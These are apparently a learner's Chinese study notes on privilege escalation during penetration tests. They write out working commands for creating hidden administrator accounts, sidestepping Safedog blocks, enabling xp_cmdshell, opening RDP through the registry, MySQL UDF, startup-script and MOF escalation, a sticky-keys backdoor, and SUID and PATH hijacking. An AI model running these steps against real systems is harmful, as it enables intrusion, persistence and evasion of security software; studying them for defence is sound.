滲透測試學習筆記--提權
提權需要的東西有點兒多,筆記里出現的工具不建議在百度上下載。可以去找找替代,上GitHub看看一些命令
Type 查看文件內容
Cacls命令 設置權限
提權前
針對網站測試過程中,通過webshell權限奪得服務器權限
判斷管理員是否在線:query user
如果添加管理員權限被安全狗攔截,可以試著添加到遠程連接組
Net localgroup “Remote Management Users” tatsumaki/add
雖然沒有管理員權限,但是可以添加到遠程登陸組,可以進行遠程登陸
常見腳本所處的權限
Asp/php匿名權限(網絡服務權限)
可能有一些讀取權限,比如網站目錄
Aspx user權限
一般是普通用戶權限,可以執行cmd命令
Jsp 通常是系統權限
除非做了專門的降權處理
Weblogic tomcat 權限比較高
根據當前搭建環境運行容器來決定權限
收集信息
內外網
ipconfig 判斷是內網ip還是外網ip
有可能服務器直接放在公網上,也有可能通過路由器端口轉發
服務器系統版本和位數
影響exp執行
補丁
調用exp
安裝軟件情況
防護軟件情況
端口情況
支持腳本情況
常用命令
Windows下命令:
Ipconfig /all 查看當前IP
Net user 查看當前服務器賬號情況
Netstat -an 查看當前服務器端口開放情況
Ver 查看當前服務器 操作系統
Systeminfo 服務器配置(補丁情況)
Tasklist /svc 當前服務器進程情況
Taskkill -pid 結束某個pid號的進程
Taskkill /im qq.exe/f 結束QQ進程
Net user test 123456 /add 添加一個用戶名為test 密碼為123456的用戶
Net localgroup administrators test /add 將用戶test添加到管理員組
Whoami 查看當前用戶(當前權限)
Linux下命令:
Ls -al 查看當前目錄下的文件和文件夾
Pwd 查看當前操作路徑
Uname -a 查看當前服務器內核信息
Cmd命令執行
除非當前webshell權限較高,否則一般不能調用和執行cmd命令
也可能:
1 被防護軟件攔截
2 cmd被降權
3 組件被刪除
針對前2種情況,尋找可讀可寫目錄,上傳cmd.exe 將執行的cmd路徑替換原有路徑,再次調用執行
如果組件被刪除,看是否支持asp或者php腳本。如果支持aspx,可以上傳aspx,通過aspx大馬(或者php大馬),直接調用默認cmd
掃描掃出了其他人的大馬
可以嘗試用?profile=a來查看密碼
大馬
下載文件是通過大馬,將其他服務器上的東西下載到這臺服務器上
查找3389
讀注冊表
工具掃描
命令探針
Windows提權
幾個提權類型:第三方軟件提權(遠控軟件)、溢出提權(計算機本地的一些漏洞未打補丁)、數據庫提權(用的較多)
第三方軟件提權
常見的第三方軟件提權
FTP軟件:server-u g6ftp filezilla
遠程管理軟件:PCanywhere radmin vnc
Server-u提權
檢測啟動server-u
有修改權限
127.0.0.1是否開啟43958端口
43958 默認監聽的管理員接口
步驟:進入serv-u 目錄,找到配置文件,servudemo.ini
編輯 一般會有servu的用戶 有些servu用戶的權限比較大,可以放到cmd5中進行爆破密碼
Cmd5.com 識別servu加密
登陸:ftp后跟ip
執行命令:
quote site exec net user test 123456/add
創建普通用戶
quote site exec localgroup administrators test/add
普通用戶加入管理員組
這樣就利用ftp的系統賬號,成功創建了一個有管理員權限的賬號
無修改權限
暴力破解MD5
溢出提權
G6FTP提權
默認監聽端口:8021
步驟:
首先找到管理員配置文件,將administrator密碼破解
使用lcx進行端口轉發(默認只允許本機鏈接)
Lcx.exe -tran 8027 127.0.0.1 8021
使用客戶端以管理員用戶登陸
創建用戶并設置權限和執行的批處理文件
上傳批處理
以創建的普通用戶登陸ftp
執行命令:
Quote site x.bat
x.bat內容為添加系統用戶 提權
執行命令:
net user test 123456/add
net localgroup administrators test/add
filezilla提權
如果安裝了服務器,默認只監聽127.0.0.1的14147端口
默認安裝目錄下有兩個敏感文件
Filezillaserver.xml 包含了用戶信息
Filezillasever interface.xml 包含了管理信息
提權思路:下載兩個文件,拿到密碼
端口轉發,登陸遠程管理ftpserver,創建ftp用戶
分配權限,設置家目錄為C盤根目錄
使用cmd.exe改為sethc.exe 替換C:\windows\system32\sethc.exe 生成shift后門
連接3389 按5次shift,調出cmd.exe
遠程管理軟件提權
Pcanywhere
訪問PCanywhere默認安裝目錄
下載用戶配置文件
通過破解賬戶密碼文件
Radmin
通過端口掃描,掃描4899端口
上傳radmin.asp木馬讀取radmin的加密密文
使用工具連接
VNC提權
通過讀取注冊表十進制數
轉換成16進制
破解16進制得到密碼
Vncx4.exe -W
輸入轉換后的16進制
客戶端連接vnc
溢出提權
主要是通過windows漏洞利用來獲取系統權限
常見的溢出提權漏洞:
巴西烤肉
Pr
步驟:查看服務器打了哪些補丁
根據未打補丁的漏洞進行利用
啟動項提權
前提:寫入的目錄需要寫入權限
將批處理文件上傳到開機啟動項目錄等待管理員重啟即可
破解hash提權
上傳pwdump.exe運行獲取hash值
拿到lc5 彩虹表中去破解
得到管理員密碼
需要管理員權限才可以執行讀取hash操作
數據庫提權
前提:要得到數據庫管理員的賬號和密碼,具備數據庫管理員權限
Sqlserver提權(mssql)
安裝組件
開啟3389
創建用戶
提升權限
Sa賬號的獲取:查看config.asp conn.asp等文件
如果允許外連:直接使用工具連接,不過組件會被攔截
使用查詢分析器添加如下命令:
添加CMD組件
EXEC sp_configure ‘show advanced options’,1
GO
RECONFIGURE
GO
EXEC sp_configure ‘xp_cmdshell’,1
GO
RECONFIGURE
GO
就可以執行cmd命令 然后添加管理員
如果添加管理員權限被安全狗攔截,可以試著添加到遠程連接組
Net localgroup “Remote Management Users” tatsumaki/add
雖然沒有管理員權限,但是可以添加到遠程登陸組,可以進行遠程登陸
接著再把C盤之類的文件進行降權
開啟3389操作:
Exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’,’fDenyTSConnections’,’REG_DWORD’,0;--
關閉3389
Exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’,’fDenyTSConnections’,’REG_DWORD’,1;
刪除cmd組件:
EXEC sp_configure ‘show advanced options’,1
GO
RECONFIGURE
GO
EXEC sp_configure ‘xp_cmdshell’,0
GO
RECONFIGURE
GO
如果不允許外連:
大馬連接
Cmd組件不執行的話,上傳aspx大馬(權限更高)
Mysql提權
前提:同樣需要SA權限
UDF提權
獲取到對方的mysql數據庫下的root賬號密碼
查看網站源碼里數據庫配置文件(inc,conn,config.sql,common,data)
查看數據庫安裝路徑下的user.myd(/data/mysql/)
暴力破解mysql密碼,3306端口入侵
UDF提權的原理:通過root權限導出udf.dll到系統目錄下,可以通過udf.dll調用執行cmd
Windows兩個導出dll
2000 C:\Winnt\udf.dll
2003 C:\Windows\udf.dll
5.1以下的版本,需要將udf導入到system32中;5.1以上的版本,需要導出到安裝目錄lib\plugin\
Udf腳本內容:
Create function cmdshell returns string soname ‘udf.dll’
Select cmdshell(‘net user test 123456/add’);
Select cmdshell (‘net localgroup administrators test/add’);
Drop function cmdshell; 刪除函數
啟動項提權
查看有哪些數據表
Mysql>show tables;
默認情況下,test中沒有任何表存在
在test數據庫中創建一個表
Mysql> create table a(cmd test);
在表中插入內容
Insert into a values (“set wshshell=createobject(“”wscript.shell””)”);
Insert into a values (“a=wshshell.run (“”cmd.exe /c net user test 123456 /add””,0)”);
Insert into a values (“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add””,0)”);
這三條命令創建一個vbs腳本,然后導入到開機啟動項
Select * from a into outfile “c://documents//administrator//開始菜單//程序//啟動//a.vbs
重啟即可
Mof提權
1 上傳mof.php
輸入相關信息 執行cmd命令 提權
2 上傳文件x.mof
使用select命令導出到正確位置
Select load_file(‘C:/wmpub/nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’
設置允許外連
Grant all privileges on *.* to ‘root’@’%’ identified by ‘root’ with grant option;
反連端口提權
利用mysql客戶端工具連接mysql服務器
執行命令
Linux提權
方法:比較多是通過內核溢出的方式,先查看內核版本,找內核對應版本的漏洞進行溢出。溢出成功,提升為root權限
內核溢出提權
查看內核
Uname -r
反彈shell執行命令
上傳exp
編譯執行
根據內核版本查找對應漏洞
收集exp
可以從www.exploit.db.com中查找漏洞利用
Mysql udf提權
上傳庫文件
執行庫文件創建命令執行函數
利用suid提權
尋找系統里可以用的suid文件來提權
$ find / -perm -u=s -type f 2>/dev/null
利用環境變量劫持高權限程序提權
查找可操作文件
$ find / -perm -u=s -type f 2>/dev/null
利用file命令查看文件是否可執行
執行該文件
執行的時候可能會報錯,根據報錯查看調用系統命令
利用低權限用戶目錄下可被root權限用戶調用的腳本提權
設置bash的$path環境變量
調用cat命令時,cat會從上級目錄尋找。當我們添加.到path環境變量的時候,會先從當前目錄尋找cat指令
新建cat,添加執行權限
再次運行./msgmike命令的時候,就會觸發當前目錄下的cat(/bin/sh),從而提權。